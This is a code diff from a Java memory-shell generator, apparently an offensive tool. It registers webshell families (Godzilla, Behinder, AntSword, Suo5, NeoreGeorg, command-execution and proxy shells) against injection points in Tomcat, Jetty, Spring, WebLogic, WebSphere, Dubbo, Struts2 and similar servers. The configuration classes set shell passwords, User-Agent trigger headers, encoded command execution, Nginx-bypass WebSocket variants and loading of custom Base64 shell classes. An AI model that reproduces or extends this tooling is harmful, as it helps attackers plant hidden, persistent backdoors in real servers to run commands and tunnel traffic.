register(Server.SpringWebMvc, SpringWebMvc::new);
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
register(Server.Struts2, Struts2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
.addShellClass(FILTER, GodzillaFilter.class)
.addShellClass(JAKARTA_FILTER, GodzillaFilter.class)
.addShellClass(LISTENER, GodzillaListener.class)
.addShellClass(JAKARTA_LISTENER, GodzillaListener.class)
.addShellClass(VALVE, GodzillaValve.class)
.addShellClass(JAKARTA_VALVE, GodzillaValve.class)
.addShellClass(PROXY_VALVE, Godzilla.class)
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(HANDLER, GodzillaJettyHandler.class)
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.addShellClass(ACTION, GodzillaStruts2Action.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
.addShellClass(SERVLET, BehinderServlet.class)
.addShellClass(JAKARTA_SERVLET, BehinderServlet.class)
.addShellClass(FILTER, BehinderFilter.class)
.addShellClass(JAKARTA_FILTER, BehinderFilter.class)
.addShellClass(LISTENER, BehinderListener.class)
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(PROXY_VALVE, Behinder.class)
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.addShellClass(ACTION, BehinderStruts2Action.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(PROXY_VALVE, AntSword.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.addShellClass(ACTION, AntSwordStruts2Action.class)
.build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, CommandListener.class)
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(PROXY_VALVE, Command.class)
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
.addShellClass(UPGRADE, CommandUpgrade.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
.addShellClass(HANDLER, CommandJettyHandler.class)
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruts2Action.class)
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
.addShellClass(FILTER, Suo5Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5Filter.class)
.addShellClass(LISTENER, Suo5Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.addShellClass(PROXY_VALVE, Suo5.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.addShellClass(ACTION, Suo5Struts2Action.class)
.build());
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
.addShellClass(SERVLET, Suo5v2Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
.addShellClass(FILTER, Suo5v2Filter.class)
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
.addShellClass(LISTENER, Suo5v2Listener.class)
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
.addShellClass(VALVE, Suo5v2Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
.addShellClass(PROXY_VALVE, Suo5v2.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
.addShellClass(ACTION, Suo5v2Struts2Action.class)
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
.build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
.addShellClass(SERVLET, NeoreGeorgServlet.class)
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class)
.addShellClass(FILTER, NeoreGeorgFilter.class)
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class)
.addShellClass(LISTENER, NeoreGeorgListener.class)
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
.addShellClass(VALVE, NeoreGeorgValve.class)
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
.build());
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
.build());
}
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
if (serverName == null || serverName.trim().isEmpty()) {
throw new IllegalArgumentException("Server name cannot be null or empty.");
}
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
if (existing == null) {
servers.add(serverName);
}
}
public static AbstractServer getServer(String serverName) {
if (serverName == null) {
return null;
}
return instances.computeIfAbsent(serverName, k -> {
Supplier<AbstractServer> supplier = registry.get(k);
if (supplier == null) {
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
}
return supplier.get();
});
}
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
for (String shellType : injectorSupportedShellTypes) {
Class<?> shellClass = rawToolMapping.get(shellType);
if (shellClass == null) {
continue;
}
toolMappingBuilder.addShellClass(shellType, shellClass);
}
ToolMapping mapping = toolMappingBuilder.build();
if (mapping.isNotEmpty()) {
server.addToolMapping(shellTool, mapping);
}
}
}
public static List<String> getSupportedServers() {
return Collections.unmodifiableList(servers);
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.memshell;
/**
* @author ReaJason
* @since 2025/6/11
*/
public class ServerType {
public static final String TOMCAT = "Tomcat";
public static final String JETTY = "Jetty";
public static final String JBOSS_AS = "JBossAS";
public static final String JBOSS_EAP6 = "JBossEAP6";
public static final String UNDERTOW = "Undertow";
public static final String JBOSS_EAP7 = "JBossEAP7";
public static final String WILDFLY = "Wildfly";
public static final String RESIN = "Resin";
public static final String GLASSFISH = "Glassfish";
public static final String PAYARA = "Payara";
public static final String WEBLOGIC = "WebLogic";
public static final String WEBSPHERE = "WebSphere";
public static final String SPRING_WEBMVC = "SpringWebMVC";
public static final String SPRING_WEBFLUX = "SpringWebFlux";
public static final String XXL_JOB = "XXL-JOB";
public static final String APUSIC = "Apusic";
public static final String BES = "BES";
public static final String INFORSUITE = "InforSuite";
public static final String PRIMETON = "Primeton";
public static final String TONGWEB6 = "TongWeb6";
public static final String TONGWEB7 = "TongWeb7";
public static final String TONGWEB8 = "TongWeb8";
}
@@ -2,33 +2,16 @@ package com.reajason.javaweb.memshell;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/22 * @since 2025/8/22
*/ */
public enum ShellTool { public class ShellTool {
/** public static final String Godzilla = "Godzilla";
* 哥斯拉 public static final String Behinder = "Behinder";
*/ public static final String Command = "Command";
Godzilla, public static final String Suo5 = "Suo5";
public static final String Suo5v2 = "Suo5v2";
/** public static final String AntSword = "AntSword";
* 命令回显 public static final String NeoreGeorg = "NeoreGeorg";
*/ public static final String Proxy = "Proxy";
Command, public static final String Custom = "Custom";
/**
* 冰蝎
*/
Behinder,
/**
* Suo5 隧道代理
*/
Suo5,
/**
* 蚁剑
*/
AntSword,
;
} }
@@ -0,0 +1,52 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import org.apache.commons.lang3.tuple.Pair;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author ReaJason
* @since 2025/08/22
*/
public class ShellToolFactory {
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
static {
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
}
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
if (shellToolName == null || shellToolName.trim().isEmpty()) {
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
}
instances.put(shellToolName, Pair.of(generatorClass, configClass));
}
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
Constructor<? extends ShellGenerator> constructor =
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new GenerationException("shell generate failed " + e.getMessage(), e);
}
}
}
@@ -6,15 +6,23 @@ package com.reajason.javaweb.memshell;
*/ */
public class ShellType { public class ShellType {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet"; public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet"; public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
public static final String FILTER = "Filter"; public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter"; public static final String JAKARTA_FILTER = JAKARTA + FILTER;
public static final String LISTENER = "Listener"; public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener"; public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve"; public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve"; public static final String UPGRADE = "Upgrade";
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String HANDLER = "Handler";
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
public static final String CUSTOMIZER = "Customizer";
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
@@ -22,7 +30,7 @@ public class ShellType {
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + HANDLER;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
@@ -37,5 +45,13 @@ public class ShellType {
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction"; public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
public static final String WEBSOCKET = "WebSocket"; public static final String WEBSOCKET = "WebSocket";
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String ACTION = "Action";
public static final String DUBBO_SERVICE = "DubboService";
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
} }
@@ -1,23 +1,51 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
public class AntSwordConfig extends ShellToolConfig { public class AntSwordConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String pass = "pass"; private String pass = CommonUtil.getRandomString(8);
@Builder.Default @Builder.Default
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -1,23 +1,51 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
public class BehinderConfig extends ShellToolConfig { public class BehinderConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String pass = "pass"; private String pass = CommonUtil.getRandomString(8);
@Builder.Default @Builder.Default
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
private String headerValue = CommonUtil.getRandomString(8); private String headerValue = CommonUtil.getRandomString(8);
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
} }
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.Builder; import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.ToString; import lombok.ToString;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
@@ -13,6 +15,92 @@ import lombok.experimental.SuperBuilder;
@SuperBuilder @SuperBuilder
@ToString @ToString
public class CommandConfig extends ShellToolConfig { public class CommandConfig extends ShellToolConfig {
/**
* 接收参数的请求头或请求参数名称
*/
@Builder.Default @Builder.Default
private String paramName = "cmd"; private String paramName = CommonUtil.getRandomString(8);
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerName = "User-Agent";
/**
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
*/
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
/**
* 加密器
*/
@Builder.Default
private Encryptor encryptor = Encryptor.RAW;
/**
* 实现类
*/
@Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
/**
* 命令执行模板,使用 {command} 作为占位符
*/
private String template;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) {
if (StringUtils.isNotBlank(paramName)) {
paramName$value = paramName;
paramName$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
public enum ImplementationClass {
RuntimeExec, ForkAndExec;
public static ImplementationClass fromString(String encryptor) {
if (encryptor != null && encryptor.equals("ForkAndExec")) {
return ForkAndExec;
}
return RuntimeExec;
}
}
public enum Encryptor {
RAW, BASE64, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64;
}
if (encryptor != null && encryptor.equals("BASE64")) {
return BASE64;
}
return RAW;
}
}
} }
@@ -0,0 +1,20 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/12
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class CustomConfig extends ShellToolConfig {
private String shellClassBase64;
}
@@ -1,44 +0,0 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -1,25 +1,61 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.*; import lombok.*;
import lombok.experimental.SuperBuilder; import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
*/ */
@Getter @Getter
@SuperBuilder @SuperBuilder(toBuilder = true)
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor @AllArgsConstructor
@ToString @ToString
public class GodzillaConfig extends ShellToolConfig { public class GodzillaConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String pass = "pass"; private String pass = CommonUtil.getRandomString(8);
